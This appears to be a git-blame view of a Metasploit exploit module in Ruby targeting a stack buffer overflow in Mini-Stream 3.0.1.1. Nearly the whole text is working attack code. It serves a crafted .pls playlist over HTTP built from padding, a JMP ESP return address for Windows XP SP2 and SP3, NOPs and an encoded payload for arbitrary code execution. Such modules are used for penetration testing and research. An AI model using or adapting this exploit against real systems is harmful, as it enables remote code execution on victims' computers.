2010-03-10 05:58:01 +00:00
|
|
|
##
|
|
|
|
# $Id$
|
|
|
|
##
|
|
|
|
|
2009-12-30 22:24:22 +00:00
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
|
|
|
# http://metasploit.com/framework/
|
|
|
|
##
|
|
|
|
|
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
|
|
|
Rank = NormalRanking
|
|
|
|
|
2011-11-04 08:20:43 +00:00
|
|
|
include Msf::Exploit::Remote::HttpServer::HTML
|
2009-12-30 22:24:22 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2012-02-21 01:25:55 +00:00
|
|
|
'Name' => 'Mini-Stream 3.0.1.1 Buffer Overflow',
|
2009-12-30 22:24:22 +00:00
|
|
|
'Description' => %q{
|
2010-05-09 17:45:00 +00:00
|
|
|
This module exploits a stack buffer overflow in Mini-Stream 3.0.1.1
|
2010-03-10 05:58:01 +00:00
|
|
|
By creating a specially crafted pls file, an an attacker may be able
|
|
|
|
to execute arbitrary code.
|
2009-12-30 22:24:22 +00:00
|
|
|
},
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'Author' =>
|
|
|
|
[
|
2010-02-06 23:22:28 +00:00
|
|
|
'CORELAN Security Team ',
|
2011-11-04 08:20:43 +00:00
|
|
|
'Ron Henry <rlh[at]ciphermonk.net>', # dijital1; Return address update
|
2009-12-30 22:24:22 +00:00
|
|
|
],
|
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2009-12-28 12:33:40 +00:00
|
|
|
[ 'OSVDB', '61341' ],
|
2009-12-30 22:24:22 +00:00
|
|
|
[ 'URL', 'http://www.exploit-db.com/exploits/10745' ],
|
|
|
|
],
|
|
|
|
'DefaultOptions' =>
|
|
|
|
{
|
|
|
|
'EXITFUNC' => 'thread',
|
|
|
|
},
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 3500,
|
|
|
|
'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c\x26\x3d\x2b\x3f\x3a\x3b\x2d\x2c\x2f\x23\x2e\x5c\x30",
|
2011-11-04 08:20:43 +00:00
|
|
|
'StackAdjustment' => -3500
|
2009-12-30 22:24:22 +00:00
|
|
|
},
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Targets' =>
|
|
|
|
[
|
2011-11-04 08:20:43 +00:00
|
|
|
[
|
|
|
|
'Windows XP SP3 ENG',
|
|
|
|
{
|
|
|
|
'Ret' => 0x7e429353, # 0x7e429353 JMP ESP - USER32.dll
|
|
|
|
'Offset' => 17417
|
|
|
|
}
|
|
|
|
],
|
|
|
|
[
|
|
|
|
'Windows XP SP2 ENG',
|
|
|
|
{
|
|
|
|
'Ret' => 0x7c941eed, # 0x7c941eed JMP ESP - SHELL32.dll
|
|
|
|
'Offset' => 17417
|
|
|
|
}
|
|
|
|
]
|
2009-12-30 22:24:22 +00:00
|
|
|
],
|
|
|
|
'Privileged' => false,
|
2011-01-08 01:13:26 +00:00
|
|
|
'DisclosureDate' => 'Dec 25 2009',
|
2009-12-30 22:24:22 +00:00
|
|
|
'DefaultTarget' => 0))
|
|
|
|
|
|
|
|
register_options(
|
|
|
|
[
|
2011-11-04 08:20:43 +00:00
|
|
|
OptString.new('URIPATH', [ true, 'The URI to use for this exploit', 'msf.pls'])
|
2009-12-30 22:24:22 +00:00
|
|
|
], self.class)
|
|
|
|
end
|
|
|
|
|
|
|
|
|
2011-11-04 08:20:43 +00:00
|
|
|
def on_request_uri(cli, request)
|
|
|
|
# Calculate the correct offset
|
|
|
|
host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST']
|
|
|
|
host << ":#{datastore['SRVPORT']}/"
|
|
|
|
offset = target['Offset'] - host.length
|
|
|
|
|
|
|
|
# Construct our buffer
|
|
|
|
sploit = rand_text_alpha(offset)
|
2009-12-30 22:24:22 +00:00
|
|
|
sploit << [target.ret].pack('V')
|
2011-11-04 08:20:43 +00:00
|
|
|
sploit << make_nops(32)
|
|
|
|
sploit << @p
|
2009-12-30 22:24:22 +00:00
|
|
|
|
2011-11-04 08:20:43 +00:00
|
|
|
print_status("Sending malicous payload #{cli.peerhost}:#{cli.peerport}...")
|
|
|
|
send_response(cli, sploit, {'Content-Type'=>'application/pls+xml'})
|
2009-12-30 22:24:22 +00:00
|
|
|
end
|
|
|
|
|
2011-11-04 08:20:43 +00:00
|
|
|
def exploit
|
|
|
|
@p = payload.encoded
|
|
|
|
super
|
|
|
|
end
|
2009-12-28 04:36:25 +00:00
|
|
|
|
2011-11-04 08:20:43 +00:00
|
|
|
end
|